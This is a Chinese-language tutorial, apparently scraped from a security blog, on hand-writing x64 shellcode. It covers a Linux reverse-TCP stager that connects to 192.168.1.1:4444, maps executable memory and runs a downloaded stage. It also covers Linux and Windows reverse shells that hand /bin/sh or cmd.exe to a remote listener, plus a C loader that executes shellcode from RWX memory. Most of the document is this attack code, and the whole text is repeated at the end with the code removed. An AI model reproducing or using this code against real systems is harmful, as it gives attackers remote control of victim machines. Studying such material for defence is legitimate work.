Linux Shellcode开发(Stager & Reverse Shell)
字数 1550 2025-08-29 22:41:10

Linux Shellcode开发(Stager & Reverse Shell) 详细教程

一、环境准备

1.1 工具安装

必要工具:

  • Kali Linux系统
  • VS Code(带以下插件):
    • C/C++扩展(用于调试程序)
    • MemoryView(查看内存情况)
    • x86 and x86-64 Assembly(汇编语言支持)
  • GDB调试工具(Kali默认安装)
  • NASM汇编器(Kali默认安装)

安装验证命令:

gdb -version  # 验证GDB安装
nasm -v       # 验证NASM安装

1.2 运行配置

步骤:

  1. 创建工作目录并用VS Code打开
  2. 创建hello.asm文件(示例汇编代码)
  3. 配置tasks.json(构建任务配置)
  4. 配置launch.json(调试配置)

示例tasks.json内容:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "build",
      "type": "shell",
      "command": "rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o && ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o && rm -f ${fileDirname}/${fileBasenameNoExtension}.o",
      "group": {
        "kind": "build",
        "isDefault": true
      }
    }
  ]
}

调试设置:

  • 在VS Code设置中启用"Allow Breakpoints Everywhere"以在汇编文件中设置断点

二、Linux x64系统调用约定

2.1 调用规则

  • 系统调用号保存在RAX寄存器中
  • 前六个参数从左至右依次存放于:
    • RDI, RSI, RDX, R10, R8, R9
  • 剩余参数通过栈传递(从右至左顺序入栈)

重要注意事项:

  1. 使用syscall指令会覆盖RCX寄存器
  2. 系统调用返回结果:
    • 正数或零:表示成功
    • 负数:表示错误(值为错误码)

2.2 常用系统调用号

参考syscall_64.tbl文件,部分重要调用:

  • socket: 41
  • connect: 42
  • mmap: 9
  • read: 0
  • execve: 59
  • dup2: 33

三、Stager Shellcode实现(反向TCP)

3.1 实现原理

  1. 调用socket创建套接字
  2. 调用connect连接攻击者机器
  3. 调用mmap分配可执行内存
  4. 调用read接收stage代码并执行

3.2 关键代码解析

socket调用:

push 41
pop rax        ; 设置系统调用号41(socket)
xor rdi, rdi
inc rdi        ; RDI=1 (AF_INET)
xor rsi, rsi
inc rsi        ; RSI=1 (SOCK_STREAM)
xor rdx, rdx   ; RDX=0 (protocol)
syscall
js failed      ; 检查是否出错

connect调用:

mov r12, 0101A8C05C110002h  ; 构造sockaddr_in结构
; 0101A8C0 = 192.168.1.1 (小端)
; 5C11 = 4444 (大端)
; 0002 = AF_INET
push r12
mov rsi, rsp   ; RSI指向sockaddr_in
mov rdx, 16    ; RDX=16 (结构体大小)
mov rdi, rbx   ; RBX保存socket句柄
push 42
pop rax        ; 系统调用号42(connect)
syscall

mmap调用:

xor rdi, rdi    ; addr=0 (由内核选择)
mov rsi, 0x2000 ; length=0x2000
mov rdx, 7      ; prot=PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x22   ; flags=MAP_PRIVATE|MAP_ANONYMOUS
xor r8, r8      ; fd=0
xor r9, r9      ; offset=0
push 9
pop rax         ; 系统调用号9(mmap)
syscall

read调用:

pop rcx         ; 清理栈
pop rdi         ; 获取socket句柄
mov rsi, rax    ; RSI=mmap返回的缓冲区地址
mov rdx, 0x2000 ; RDX=读取长度
xor rax, rax    ; 系统调用号0(read)
syscall
jmp rsi         ; 跳转到stage执行

四、Reverse Shell实现

4.1 实现原理

  1. 调用socket创建套接字
  2. 调用connect连接攻击者机器
  3. 调用dup2重定向标准I/O
  4. 调用execve执行/bin/sh

4.2 关键代码解析

dup2调用(重定向I/O):

mov rdi, rbx    ; RBX保存socket句柄
xor rsi, rsi    ; RSI=0 (stdin)
push 33
pop rax         ; 系统调用号33(dup2)
syscall

mov rsi, 1      ; RSI=1 (stdout)
push 33
pop rax
syscall

mov rsi, 2      ; RSI=2 (stderr)
push 33
pop rax
syscall

execve调用(执行/bin/sh):

xor rax, rax
push rax        ; 字符串结尾\0
mov rdi, '/bin/sh'
push rdi
mov rdi, rsp    ; RDI指向"/bin/sh\0"
push rax        ; argv[1]=NULL
push rdi        ; argv[0]="/bin/sh"
mov rsi, rsp    ; RSI指向argv
xor rdx, rdx    ; RDX=NULL (envp)
push 59
pop rax         ; 系统调用号59(execve)
syscall

五、Windows Reverse Shell实现

5.1 实现原理

  1. 初始化Winsock库
  2. 使用WSASocketA创建套接字
  3. 使用connect连接远程主机
  4. 创建STARTUPINFOA结构并重定向I/O
  5. 创建cmd进程

5.2 关键代码解析

STARTUPINFOA初始化:

sub rsp, 68h        ; 分配结构体空间
mov rdi, rsp        ; RDI指向结构体
xor rax, rax        ; RAX=0
mov rcx, 68h        ; RCX=结构体大小
rep stosb           ; 清零结构体

; 设置关键字段
mov dword [rsp], 68h        ; cb=结构体大小
mov dword [rsp+60], 0x101   ; dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
mov [rsp+80], r15           ; hStdInput=socket
mov [rsp+88], r15           ; hStdOutput=socket
mov [rsp+96], r15           ; hStdError=socket

CreateProcessA调用:

sub rsp, 56         ; 分配空间并保持16字节对齐
xor rcx, rcx        ; lpApplicationName=NULL
mov rdx, cmd_str    ; lpCommandLine="cmd.exe"
xor r8, r8          ; lpProcessAttributes=NULL
xor r9, r9          ; lpThreadAttributes=NULL
mov qword [rsp+32], 1 ; bInheritHandles=TRUE
mov qword [rsp+40], 0 ; dwCreationFlags=0
mov qword [rsp+48], 0 ; lpEnvironment=NULL
mov qword [rsp+56], 0 ; lpCurrentDirectory=NULL
mov rax, rsp
add rax, 68h
mov [rsp+64], rax   ; lpStartupInfo=STARTUPINFOA
mov qword [rsp+72], 0 ; lpProcessInformation=NULL
call CreateProcessA

六、测试方法

6.1 Linux测试

  1. 编译汇编代码:

    nasm -f elf64 shellcode.asm -o shellcode.o
    ld shellcode.o -o shellcode.elf
    
  2. 启动监听:

    nc -lvnp 4444
    
  3. 运行shellcode:

    ./shellcode.elf
    

6.2 Windows测试

  1. 使用nasm编译:

    nasm -f win64 shellcode.asm -o shellcode.bin
    
  2. 使用C加载器:

    #include <stdio.h>
    #include <windows.h>
    
    int main() {
      unsigned char shellcode[] = { /* shellcode字节 */ };
      void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      memcpy(exec, shellcode, sizeof shellcode);
      ((void(*)())exec)();
      return 0;
    }
    

七、注意事项

  1. NULL字节问题:避免shellcode中出现NULL字节(\x00),可能被字符串函数截断
  2. 栈对齐:Windows x64调用API时必须保持16字节栈对齐
  3. 错误处理:重要系统调用后应检查返回值
  4. 大小端问题:网络字节序为大端,主机字节序为小端
  5. 调试技巧:使用GDB或VS Code调试器逐步执行并检查寄存器/内存状态

八、参考资料

  1. Linux系统调用表:syscall_64.tbl
  2. Metasploit源码:stager_sock_reverse.s
  3. Windows API文档:MSDN官方文档
  4. System V AMD64 ABI调用约定

通过本教程,您应该掌握了Linux和Windows下Stager和Reverse Shell的shellcode开发技术。实际应用中请确保遵守法律法规,仅用于授权测试。

Linux Shellcode开发(Stager & Reverse Shell) 详细教程 一、环境准备 1.1 工具安装 必要工具: Kali Linux系统 VS Code(带以下插件): C/C++扩展(用于调试程序) MemoryView(查看内存情况) x86 and x86-64 Assembly(汇编语言支持) GDB调试工具(Kali默认安装) NASM汇编器(Kali默认安装) 安装验证命令: 1.2 运行配置 步骤: 创建工作目录并用VS Code打开 创建hello.asm文件(示例汇编代码) 配置tasks.json(构建任务配置) 配置launch.json(调试配置) 示例tasks.json内容: 调试设置: 在VS Code设置中启用"Allow Breakpoints Everywhere"以在汇编文件中设置断点 二、Linux x64系统调用约定 2.1 调用规则 系统调用号保存在RAX寄存器中 前六个参数从左至右依次存放于: RDI, RSI, RDX, R10, R8, R9 剩余参数通过栈传递(从右至左顺序入栈) 重要注意事项: 使用 syscall 指令会覆盖RCX寄存器 系统调用返回结果: 正数或零:表示成功 负数:表示错误(值为错误码) 2.2 常用系统调用号 参考 syscall_64.tbl 文件,部分重要调用: socket: 41 connect: 42 mmap: 9 read: 0 execve: 59 dup2: 33 三、Stager Shellcode实现(反向TCP) 3.1 实现原理 调用socket创建套接字 调用connect连接攻击者机器 调用mmap分配可执行内存 调用read接收stage代码并执行 3.2 关键代码解析 socket调用: connect调用: mmap调用: read调用: 四、Reverse Shell实现 4.1 实现原理 调用socket创建套接字 调用connect连接攻击者机器 调用dup2重定向标准I/O 调用execve执行/bin/sh 4.2 关键代码解析 dup2调用(重定向I/O): execve调用(执行/bin/sh): 五、Windows Reverse Shell实现 5.1 实现原理 初始化Winsock库 使用WSASocketA创建套接字 使用connect连接远程主机 创建STARTUPINFOA结构并重定向I/O 创建cmd进程 5.2 关键代码解析 STARTUPINFOA初始化: CreateProcessA调用: 六、测试方法 6.1 Linux测试 编译汇编代码: 启动监听: 运行shellcode: 6.2 Windows测试 使用nasm编译: 使用C加载器: 七、注意事项 NULL字节问题 :避免shellcode中出现NULL字节(\x00),可能被字符串函数截断 栈对齐 :Windows x64调用API时必须保持16字节栈对齐 错误处理 :重要系统调用后应检查返回值 大小端问题 :网络字节序为大端,主机字节序为小端 调试技巧 :使用GDB或VS Code调试器逐步执行并检查寄存器/内存状态 八、参考资料 Linux系统调用表: syscall_64.tbl Metasploit源码: stager_sock_reverse.s Windows API文档:MSDN官方文档 System V AMD64 ABI调用约定 通过本教程,您应该掌握了Linux和Windows下Stager和Reverse Shell的shellcode开发技术。实际应用中请确保遵守法律法规,仅用于授权测试。